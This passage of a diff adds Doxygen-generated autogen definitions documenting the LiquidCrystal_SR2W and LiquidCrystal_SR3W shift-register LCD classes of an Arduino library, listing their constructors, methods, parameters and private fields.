<<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1ad188042fdcc7df0178248401c678eb8e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a2e43c3f1d6b0e5599a1b4d14ef428077'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + cp-fileline = '138'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 33; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 32; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '33'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 35; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 34; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '35'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r3_w'; + cp-name = 'LiquidCrystal_SR3W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ae1396bcd5e9c5b7ed13182c166de776b'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '90'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the IO driving the + shift register. The constructor does not initialize the LCD. + Default configuration: + Shift register LCD + QA - 0 DB4 + QB - 1 DB5 + QC - 2 DB6 + QD - 3 DB7 + QE - 4 E + QF - 5 + QG - 6 Rs + GND Rw + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to the shiftregister data pin. + @param clk[in] digital IO connected to the shiftregister clock pin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a7b2f382b76bc9d88adb8d681e824b4de'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a24f051747dfeda48f7b207c3358c8015'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '119'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a4fab8ff2f21bba3efd133cd8c87fffc0'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '114'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the control lines of + the LCD and the shiftregister. The constructor does not initialize the LCD. + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to shiftregister data pin. + @param clk[in] digital IO connected to shiftregister clock pin. + @param En[in] LCD En (Enable) pin connected to SR output pin. + @param Rw[in] LCD Rw (Read/write) pin connected to SR output pin. + @param Rs[in] LCD Rs (Reg Select) pin connected to SR output pin. + @param d4[in] LCD data 4 pin map to the SR output pin. + @param d5[in] LCD data 5 pin map to the SR output pin. + @param d6[in] LCD data 6 pin map to the SR output pin. + @param d7[in] LCD data 7 pin map to the SR output pin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ade34af5b7fe795482f1848c2176d6e56'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '133'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a6d0fc7907ef9fd87c408a21b9bd49295'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a894d0ea8ea61c1d15acd8a26d417e477'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '143'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a45cde916021d9b52b0f769c17886b2ef'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a80f6e4e8b10635d9daed718f2918c1bd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '183'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract load into the shift register a byte + @discussion loads into the shift register a byte + @param value[in]: value to be loaded into the shiftregister. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ac0702caa5d07ffd8e832ad8a5d0afe7c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '175'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a21ef2e5b78edd0d160d81b0c06d41440'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPinMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1adf17379bfac4def5c780fc8ad023764c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightStsMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a2c14746e8f626a53f777c8df68f8a92b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_clk'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '190'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1af7d09207dffb9f2fc85fc60661ffa0d4'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_clk_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '191'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ab81049d446d2e7399ee6b20c9da4cdde'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '188'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a366adab314f5dc8b7e53298d6eccf85d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a301acb36345c56ae336156fdeee4a783'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '189'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a4306c59b6bf3870fecad23d6b0c0aa5d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_En'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a062da9fb985a7e88128d7d95fd8239d6'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rs'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1aef47417b089e53af1ce032e5f1b23b43'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rw'; + sec-mem-desc-file = 